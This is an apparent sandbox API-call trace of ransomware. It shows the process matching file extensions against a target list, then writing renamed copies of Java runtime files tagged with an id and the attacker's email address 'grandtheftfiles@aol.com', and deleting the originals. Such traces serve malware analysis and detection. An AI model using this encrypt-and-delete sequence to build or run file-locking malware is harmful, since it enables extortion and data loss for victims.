	[0154.758] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0154.758] lstrlenW (lpString=".ppt") returned 4
	[0154.758] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".zip") returned 4
	[0154.758] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".rar") returned 4
	[0154.758] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".bz2") returned 4
	[0154.758] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString=".7z") returned 3
	[0154.758] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".dbf") returned 4
	[0154.758] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".1cd") returned 4
	[0154.758] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".jpg") returned 4
	[0154.758] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.758] lstrlenW (lpString=".doc") returned 4
	[0154.758] lstrcmpiW (lpString1=".doc", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".docx") returned 5
	[0154.759] lstrcmpiW (lpString1=".docx", lpString2="RIGHT") returned -1
	[0154.759] lstrlenW (lpString=".pdf") returned 4
	[0154.759] lstrcmpiW (lpString1=".pdf", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".xls") returned 4
	[0154.759] lstrcmpiW (lpString1=".xls", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".xlsx") returned 5
	[0154.759] lstrcmpiW (lpString1=".xlsx", lpString2="RIGHT") returned -1
	[0154.759] lstrlenW (lpString=".ppt") returned 4
	[0154.759] lstrcmpiW (lpString1=".ppt", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.759] lstrlenW (lpString=".zip") returned 4
	[0154.759] lstrcmpiW (lpString1=".zip", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".rar") returned 4
	[0154.759] lstrcmpiW (lpString1=".rar", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".bz2") returned 4
	[0154.759] lstrcmpiW (lpString1=".bz2", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString=".7z") returned 3
	[0154.759] lstrcmpiW (lpString1=".7z", lpString2="GHT") returned -1
	[0154.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.759] lstrlenW (lpString=".dbf") returned 4
	[0154.759] lstrcmpiW (lpString1=".dbf", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.759] lstrlenW (lpString=".1cd") returned 4
	[0154.759] lstrcmpiW (lpString1=".1cd", lpString2="IGHT") returned -1
	[0154.759] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 44
	[0154.759] lstrlenW (lpString=".jpg") returned 4
	[0154.759] lstrcmpiW (lpString1=".jpg", lpString2="IGHT") returned -1
	[0154.759] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0154.759] lstrlenW (lpString="accessibility.properties") returned 24
	[0154.759] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0154.896] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=149) returned 1
	[0154.896] CloseHandle (hObject=0x444) returned 1
	[0154.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 0x20
	[0155.216] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x490
	[0155.216] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.216] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.216] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0155.256] GetLastError () returned 0x0
	[0155.256] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x95, lpOverlapped=0x0) returned 1
	[0155.257] WriteFile (in: hFile=0x494, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xa0, lpOverlapped=0x0) returned 1
	[0155.261] ReadFile (in: hFile=0x490, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.261] WriteFile (in: hFile=0x494, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x104, lpOverlapped=0x0) returned 1
	[0155.261] SetEndOfFile (hFile=0x494) returned 1
	[0155.261] CloseHandle (hObject=0x494) returned 1
	[0155.261] SetFilePointerEx (in: hFile=0x490, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.261] SetEndOfFile (hFile=0x490) returned 1
	[0155.271] CloseHandle (hObject=0x490) returned 1
	[0155.271] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.275] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\accessibility.properties")) returned 1
	[0155.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.277] lstrlenW (lpString=".doc") returned 4
	[0155.277] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".docx") returned 5
	[0155.277] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.277] lstrlenW (lpString=".pdf") returned 4
	[0155.277] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".xls") returned 4
	[0155.277] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".xlsx") returned 5
	[0155.277] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.277] lstrlenW (lpString=".ppt") returned 4
	[0155.277] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.277] lstrlenW (lpString=".zip") returned 4
	[0155.277] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".rar") returned 4
	[0155.277] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".bz2") returned 4
	[0155.277] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString=".7z") returned 3
	[0155.277] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.277] lstrlenW (lpString=".dbf") returned 4
	[0155.277] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.277] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.277] lstrlenW (lpString=".1cd") returned 4
	[0155.278] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".jpg") returned 4
	[0155.278] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".doc") returned 4
	[0155.278] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".docx") returned 5
	[0155.278] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0155.278] lstrlenW (lpString=".pdf") returned 4
	[0155.278] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".xls") returned 4
	[0155.278] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".xlsx") returned 5
	[0155.278] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0155.278] lstrlenW (lpString=".ppt") returned 4
	[0155.278] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".zip") returned 4
	[0155.278] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".rar") returned 4
	[0155.278] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".bz2") returned 4
	[0155.278] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString=".7z") returned 3
	[0155.278] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".dbf") returned 4
	[0155.278] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".1cd") returned 4
	[0155.278] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0155.278] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\accessibility.properties") returned 63
	[0155.278] lstrlenW (lpString=".jpg") returned 4
	[0155.278] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0155.279] lstrcmpiW (lpString1=".pf", lpString2=".GTF") returned 1
	[0155.279] lstrlenW (lpString="CIEXYZ.pf") returned 9
	[0155.279] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0155.492] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=51236) returned 1
	[0155.492] CloseHandle (hObject=0x494) returned 1
	[0155.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 0x20
	[0155.493] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0155.493] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.493] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.493] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0155.494] GetLastError () returned 0x0
	[0155.494] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xc824, lpOverlapped=0x0) returned 1
	[0155.497] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xc830, lpOverlapped=0x0) returned 1
	[0155.499] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.499] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0155.499] SetEndOfFile (hFile=0x498) returned 1
	[0155.499] CloseHandle (hObject=0x498) returned 1
	[0155.499] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.499] SetEndOfFile (hFile=0x494) returned 1
	[0155.503] CloseHandle (hObject=0x494) returned 1
	[0155.503] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0155.503] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".doc") returned 4
	[0155.524] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".docx") returned 5
	[0155.524] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0155.524] lstrlenW (lpString=".pdf") returned 4
	[0155.524] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".xls") returned 4
	[0155.524] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".xlsx") returned 5
	[0155.524] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0155.524] lstrlenW (lpString=".ppt") returned 4
	[0155.524] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".zip") returned 4
	[0155.524] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".rar") returned 4
	[0155.524] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".bz2") returned 4
	[0155.524] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString=".7z") returned 3
	[0155.524] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".dbf") returned 4
	[0155.524] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".1cd") returned 4
	[0155.524] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".jpg") returned 4
	[0155.524] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.524] lstrlenW (lpString=".doc") returned 4
	[0155.525] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".docx") returned 5
	[0155.525] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0155.525] lstrlenW (lpString=".pdf") returned 4
	[0155.525] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".xls") returned 4
	[0155.525] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".xlsx") returned 5
	[0155.525] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0155.525] lstrlenW (lpString=".ppt") returned 4
	[0155.525] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.525] lstrlenW (lpString=".zip") returned 4
	[0155.525] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".rar") returned 4
	[0155.525] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".bz2") returned 4
	[0155.525] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString=".7z") returned 3
	[0155.525] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0155.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.525] lstrlenW (lpString=".dbf") returned 4
	[0155.525] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.525] lstrlenW (lpString=".1cd") returned 4
	[0155.525] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0155.525] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0155.525] lstrlenW (lpString=".jpg") returned 4
	[0155.525] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0155.525] lstrcmpiW (lpString1=".properties", lpString2=".GTF") returned 1
	[0155.525] lstrlenW (lpString="messages.properties") returned 19
	[0155.525] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0155.529] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2860) returned 1
	[0155.529] CloseHandle (hObject=0x494) returned 1
	[0155.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20
	[0155.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0155.529] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.529] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.529] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x498
	[0155.531] GetLastError () returned 0x0
	[0155.531] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0xb2c, lpOverlapped=0x0) returned 1
	[0155.864] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0155.865] ReadFile (in: hFile=0x494, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.865] WriteFile (in: hFile=0x498, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0xfa, lpOverlapped=0x0) returned 1
	[0155.865] SetEndOfFile (hFile=0x498) returned 1
	[0155.865] CloseHandle (hObject=0x498) returned 1
	[0155.865] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.865] SetEndOfFile (hFile=0x494) returned 1
	[0156.205] CloseHandle (hObject=0x494) returned 1
	[0156.205] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0156.206] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 1
	[0156.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString=".doc") returned 4
	[0156.207] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".docx") returned 5
	[0156.207] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0156.207] lstrlenW (lpString=".pdf") returned 4
	[0156.207] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".xls") returned 4
	[0156.207] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".xlsx") returned 5
	[0156.207] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0156.207] lstrlenW (lpString=".ppt") returned 4
	[0156.207] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties") returned 65
	[0156.207] lstrlenW (lpString=".zip") returned 4
	[0156.207] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".rar") returned 4
	[0156.207] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".bz2") returned 4
	[0156.207] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0156.207] lstrlenW (lpString=".7z") returned 3
	[0156.207] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
